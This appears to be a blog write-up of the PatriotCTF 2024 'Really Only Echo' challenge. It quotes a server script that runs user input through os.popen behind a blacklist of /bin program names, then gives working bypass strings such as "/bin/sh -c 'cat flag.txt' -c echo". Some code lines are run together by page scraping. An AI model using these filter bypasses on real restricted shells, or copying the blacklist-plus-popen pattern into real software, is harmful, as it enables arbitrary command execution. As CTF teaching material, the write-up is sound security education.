Here's my writeup for the PatriotCTF 2024 Really Only Echo challenge.
Challenge note
Hey, I have made a terminal that only uses echo, can you find the flag?
Author: Ryan Wong (shadowbringer007)
nc chal.competitivecyber.club 3333
Challenge file
Download the challenge server's server.py script with the Wget download tool3:
wget --content-disposition \
"https://pctf.competitivecyber.club/files/0140073002c3143d3bb99bf24edbb598/server.py?token=…"
Connect to challenge server
Connect to the challenge server with Netcat1:
nc chal.competitivecyber.club 3333
The challenge server greets you once you connect:
This is shell made to use only the echo command.
Please input command:
Solve the challenge
The challenge server receives your input in the backend(req) function. This function filters and executes your input:
# server.py
def backend(req):
# …
if filter_check(user_input):
output = os.popen(user_input).read()
req.sendall((output + '\n').encode())
The backend(reg) function calls the filter function filter_check(user_input). This checks your input for any "naughty" strings. The goal is to submit an input that passes this function:
# server.py
# edited for clarity
blacklist = os.popen(
"ls /bin"
).read().split("\n")
blacklist.remove("echo")
def filter_check(command):
parsed = command.split()
if "echo" not in parsed:
return False
if ">" in parsed:
req.sendall(
b"HEY! No moving things around.\n\n"
)
return False
parsed = command.replace(
"$", " "
[^simpler-solution] ).replace(
"(", " "
).replace(
")", " "
).replace(
"|"," "
).replace(
"&", " "
).replace(
";"," "
).replace(
"<"," "
).replace(
">"," "
).replace(
"`"," "
).split()
for i in range(len(parsed)):
if parsed[i] in blacklist:
return False
return True
This input passes the filter_check(user_input) call inside backend():
/bin/sh -c 'cat flag.txt' -c echo
filter_check splits your input into words in the parsed variable:
# parsed = command.split()
# parsed now contains:
[
"/bin/sh",
"-c",
"'cat",
"flag.txt'",
"-c",
"echo",
]
The words in parsed pass filter_check and backend runs your input. Here's why:
/bin/shis the name of a program in the/bindirectory. Theblacklistvariable contains the names of files in/binand thussh. It doesn't contain/bin/sh, though.filter_checkdoesn't mind-c- While
catis in theblacklistvariable,'catis not. filter_checkdoesn't mindflag.txt'filter_checkrequires you to placeechoin the input, it's present and we're good
Connect to the chal.competitivecyber.club challenge server at port 3333 and send the /bin/sh -c 'cat flag.txt' -c echo solution string to receive the flag:

-
Any netcat implementation works. Some available netcat implementations are GNU Netcat, OpenBSG nc, and BusyBox nc ↩
-
I realized afterwards that you can also use
/bin/cat flag.txt echo.server.pydoesn't check for exit codes, so you'll end up with/bin/catreading the flag and then complainingcat: echo: No such file or directort↩ -
When you pass
--content-dispositionto Wget, it strips any query parameters like?token=…from the resulting file name. This way you end up with aserver.pyfile and notserver.py?token=…. ↩